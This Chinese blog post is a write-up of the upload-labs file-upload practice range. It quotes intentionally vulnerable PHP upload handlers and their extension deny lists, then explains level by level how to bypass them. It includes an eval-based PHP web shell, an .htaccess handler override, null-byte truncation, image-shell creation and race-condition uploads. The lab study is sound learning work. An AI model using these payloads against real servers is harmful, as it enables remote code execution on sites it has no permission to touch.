upload-labs 文件上传靶场 writeup

最新推荐文章于 2024-04-17 23:08:54 发布

qq_41575340

最新推荐文章于 2024-04-17 23:08:54 发布

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分类专栏： writeup 文章标签：文件上传

本文链接：https://blog.csdn.net/qq_41575340/article/details/90976014

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文件上传靶场练习

前言

文件上传漏洞是一个高危漏洞，想要复习一下，二刷一下文件上传靶场

Pass-01

提示：

本pass在客户端使用js对不合法图片进行检查！

通过提示发现是在客户端用js进行验证的，js验证实在发送到服务器端之前而验证的，那么我们就可以在此之前做点手脚。

可以先上传一个合法的文件，通过抓包来进行修改参数，就可以绕过这个限制了。

Pass-02

提示

本pass在服务端对数据包的MIME进行检查！

源码为：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
                $img_path = UPLOAD_PATH . $_FILES['upload_file']['name'];
                $is_upload = true;

            }
        } else {
            $msg = '文件类型不正确，请重新上传！';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
    }
}

在http数据包中，判断文件类型的是Content-Type字段的值

同样抓包，修改Content-Type为image/jpeg

就可以绕过判断

Pass-03

提示：

本pass禁止上传.asp|.aspx|.php|.jsp后缀文件！

通过提示可以看出，应该是不完善的黑名单所导致的漏洞。

使用不存在于黑名单但是可执行的后缀即可

常见的可执行文件的后缀：

PHP: php2、php3、php5、phtml、pht
ASP: aspx、ascx、ashx、cer、asa
JSP: jspx

注意：想要让服务器将你的文件解析为php，还需要将要修改httpd.conf：（把前面的#去掉）

AddType application/x-httpd-php .php .phtml .php3 .php4 .php5 .php2

Pass-04

提示：

本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件！

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
                $img_path = UPLOAD_PATH . $_FILES['upload_file']['name'];
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

这个黑名单就比较完善了，过滤了各种罕见后缀，但是没有过滤.htaccess

我们在.htaccess文件上写：

SetHandler application/x-httpd-php

意思就是把本目录下的jpeg文件当做php来解析

新建一个jpg文件，内容如下：

<?php @eval($_GET['chuddy']); ?>

然后访问上传文件的存储位置，可以发现能够被解析为php文件。

Pass-05

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
                $img_path = UPLOAD_PATH . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

这个黑名单比前面的关卡更加完善了。过滤了.htaccess，但是代码中后缀转换为小写被去掉了，因此我们可以上传Php来绕过黑名单后缀。(在Linux没有特殊配置的情况下，这种情况只有win可以，因为win会忽略大小写)

Pass-06

查看提示发现同样是黑名店限制，几乎涵盖了所有危险的后缀，那么查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
                $img_path = UPLOAD_PATH . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

win下的小技巧：Win下xx.jpg[空格] 或xx.jpg.这两类文件都是不允许存在的，若这样命名，windows会默认除去空格或点

此处会删除末尾的点，但是没有去掉末尾的空格，因此上传一个.php空格文件即可绕过。

Pass-07

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
                $img_path = UPLOAD_PATH . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

此处会删除末尾的空格，但是没有去掉末尾的点，因此上传一个.php.文件即可绕过。

Pass-08

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
                $img_path = UPLOAD_PATH . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

发现缺少::$DATA

查阅资料发现，这是利用windows操作系统的一个特性：

NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能，主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中，此默认数据流称为：$ DATA。
上传.php::$DATA绕过。(仅限windows)

Pass-09

is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
                $img_path = UPLOAD_PATH . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

通过阅读源码，我们可以发现,用户上传的文件名，我们可控。且会删除文件名末尾的点和空格

结合上面几关的解题经验，我们可以发现可以通过创建文件.php.空格.来进行绕过

Pass-10

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $file_name)) {
            $img_path = UPLOAD_PATH . '/' .$file_name;
            $is_upload = true;
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

通过查看源码发现

$file_name = str_ireplace($deny_ext,"", $file_name);

将黑名单的文件名替换成空，所以我们想到可以通过双写来进行绕过。

Pass-11

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = '上传失败！';
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

影响版本：5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7
exp：move_uploaded_file($_FILES['name']['tmp_name'],"/file.php\x00.jpg");

源码中move_uploaded_file中的save_path可控，因此00截断即可。

Pass-12

方法同上，只是请求方式改为POST

Pass-13

提示

本pass检查图标内容开头2个字节！

我们可以伪造一下文件头的信息

常用文件头：
（1） .JPEG;.JPE;.JPG，”JPGGraphic File”
（2） .gif，”GIF 89A”
（3） .zip，”Zip Compressed”
（4） .doc;.xls;.xlt;.ppt;.apr，”MS Compound Document v1 or Lotus Approach APRfile”

Pass-14

本关可以通过制作图片马进行绕过

制作图片马的方法：


在Windows的cmd中执行命令：


copy 图片名/b+ 木马文件/a 合成的图片马名

Pass-15

同14关

Pass-16

主要是二次渲染绕过

jpg和png很麻烦，gif只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以了。

二次渲染的详解

Pass-17

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
            unlink($upload_file);
        }
    }else{
        $msg = '上传失败！';
    }
}

可以看到文件先经过保存，然后判断后缀名是否在白名单中，如果不在则删除，此时可以利用条件竞争在保存文件后删除文件前来执行php文件。

一边用bp一直上传木马文件，一边用脚本一直访问该临时文件，就能成功执行命令。

Pass-18

原理同17一样，都是利用条件竞争

Pass-19

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传失败！';
            }
        }else{
            $msg = '禁止保存为该类型文件！';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

这里需要注意的是move_uploaded_file会忽略掉文件末尾的/.这里是用户可控的。所以我们可以伪造这样的上传

总结

感觉这个图总结的特别详细。

自己还是很菜，还要继续努力呀！

qq_41575340

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upload-labs 文件上传靶场 writeup

文件上传靶场练习前言文件上传漏洞是一个高危漏洞，想要复习一下，二刷一下文件上传靶场Pass-01提示：本pass在客户端使用js对不合法图片进行检查！通过提示发现是在客户端用js进行验证的，js验证实在发送到服务器端之前而验证的，那么我们就可以在此之前做点手脚。可以先上传一个合法的文件，通过抓包来进行修改参数，就可以绕过这个限制了。Pass-02提示本pass在服务端对数据...
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